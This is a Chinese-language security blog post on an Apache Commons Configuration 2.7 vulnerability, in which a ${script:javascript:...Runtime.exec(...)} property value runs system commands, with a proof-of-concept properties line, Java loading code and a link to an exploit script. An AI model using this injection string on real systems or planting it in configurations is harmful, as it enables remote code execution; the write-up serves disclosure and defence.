漏洞描述
能够控制配置文件或属性的攻击者可能能够运行任意系统命令
影响版本
Apache Commons 配置 2.7
漏洞复现
问题:不安全的脚本评估 ( GHSL-2022-017)
默认情况下,Commons Configuration 执行变量插值,允许动态评估和扩展属性。变量名的一般语法是${prefix:name}. 前缀告诉 Commons Configuration 该变量将在特定上下文中进行评估。如果缺少前缀,则上下文是当前配置实例。如果提供了前缀,那么它将用于查找Lookup将解析变量的匹配类。Commons Configuration 使用 Commons TextStringSubstitutor和默认的插值查找集。默认的可用查找之一是ScriptStringLookup使用javax.script包来运行脚本(例如:Javascript、Groovy 等)。攻击者可以提供配置属性,例如${script:javascript:java.lang.Runtime.getRuntime().exec()}在检索属性时运行任意系统命令。
POC
创建一个属性文件,例如:
database.user = ${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
加载database.user属性:
Parameters params = new Parameters();
File propertiesFile = new File("config.properties");
FileBasedConfigurationBuilder<FileBasedConfiguration> builder = new FileBasedConfigurationBuilder<FileBasedConfiguration>(PropertiesConfiguration.class)
.configure(params.fileBased()
.setFile(propertiesFile));
FileBasedConfiguration config = builder.getConfiguration();
config.getString("database.user");
/tmp/foo应该已经创建了一个名为的文件。
脚本
https://github.com/tangxiaofeng7/CVE-2022-33980-Apache-Commons-Configuration-RCE
感谢您的来访,获取更多精彩文章请收藏本站。
![](https://www.gyzsq.com/wp-content/uploads/2022/07/9259adea4619.gif)
© 版权声明
本站网络名称:
孤勇者社区
本站永久网址:
https://www.gyzsq.com
网站侵权说明:
本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长QQ324470778删除处理。
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
THE END
喜欢就支持一下吧
相关推荐
评论 共2条
![头像](/wp-content/themes/zibll/img/avatar-default.png)
欢迎您留下宝贵的见解!
- 最新
- 最热
只看作者